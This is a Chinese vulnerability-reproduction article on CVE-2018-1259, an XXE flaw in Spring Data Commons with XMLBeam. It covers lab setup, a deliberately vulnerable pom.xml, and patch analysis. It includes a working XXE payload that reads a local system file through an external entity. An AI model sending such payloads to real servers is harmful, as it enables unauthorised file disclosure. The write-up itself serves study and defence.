漏洞复现 CVE-2018-1259 Spring XXE

  • A+
所属分类:安全文章

01

漏洞简介


XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件。


02


环境搭建


下载官方的示例包

git clone https://github.com/spring-projects/spring-data-examples.git

用idea打开,配置pom.xml文件,

修改spring-data-commons的版本

<dependency><groupId>org.springframework.data</groupId><artifactId>spring-data-commons</artifactId><version>2.0.5.RELEASE</version></dependency>

下载好相关依赖插件和包之后,生成package

cd /spring/spring-data-examples/web/projectionmvn clean package

漏洞复现 CVE-2018-1259  Spring XXE

启动环境:

cd /spring/spring-data-examples/web/projection/targetjava -jar spring-data-web-projection-2.0.0.BUILD-SNAPSHOT.jar

漏洞复现 CVE-2018-1259  Spring XXE

访问:http://127.0.0.1:8080/,漏洞复现 CVE-2018-1259  Spring XXE

环境搭建成功,如图。


03

漏洞复现


任意文件读取

使用post发送xml格式的payload

如下:

<?xml version="1.0" encoding="UTF-8"?>        <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" >]><user><firstname>&rabbit;</firstname><lastname>don9sec</lastname></user>

漏洞复现 CVE-2018-1259  Spring XXE

成功读取到了文件内容,如图。


04

漏洞分析


一般在网上还未公开poc时,漏洞补丁对安全攻城狮做应急/复现来说无疑是最好的参考。

# 详见:# xmlbeam的补丁https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1# spring-data-commons的补丁https://github.com/spring-projects/spring-data-commons/commit/b8974a292ab463a304eda987632be4d9c145f5f8

可以发现,xmlbeam的补丁中对DefaultXMLFactoriesConfig.java进行了如下修改:

  • 配置了默认的feature

漏洞复现 CVE-2018-1259  Spring XXE

  • 禁止实体引用、禁止合并多个XML文档。

漏洞复现 CVE-2018-1259  Spring XXE

spring-data-commons的补丁在传入XMLBeam的XBProjector时候也做了如下修改:

漏洞复现 CVE-2018-1259  Spring XXE

  • DocumentBuilderFactory设置了参数,阻止外部实体的引入,禁用inline DOCTYPE声明,防止了XML实体注入。


所以,经过对补丁的分析,可以了解到该XXE漏洞的本质就是因为

src/main/java/org/xmlbeam/config/DefaultXMLFactoriesConfig.java

配置不当(没有限制外部实体)而导致的,而Spring Data Commons的某些版本中恰好使用了含有漏洞的XMLBeam组件,于是受到了影响。


05

附录

pom.xml

替换掉官方示例包的pom.xml即可

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">   <modelVersion>4.0.0</modelVersion>   <artifactId>spring-data-web-projection</artifactId>   <name>Spring Data - JSON and XML projection web example</name>   <dependencies>      <dependency>         <groupId>org.springframework.boot</groupId>         <artifactId>spring-boot-starter-web</artifactId>      </dependency>      <dependency>         <groupId>org.springframework.data</groupId>         <artifactId>spring-data-commons</artifactId>         <version>2.0.5.RELEASE</version>      </dependency>      <dependency>         <groupId>com.jayway.jsonpath</groupId>         <artifactId>json-path</artifactId>      </dependency>      <dependency>         <groupId>org.xmlbeam</groupId>         <artifactId>xmlprojector</artifactId>         <version>1.4.13</version>      </dependency>   </dependencies>   <build>      <plugins>         <plugin>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-maven-plugin</artifactId>         </plugin>      </plugins>   </build></project>

参考:

https://blog.spoock.com/2018/05/16/cve-2018-1259/


本文始发于微信公众号(don9sec):漏洞复现 CVE-2018-1259 Spring XXE

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: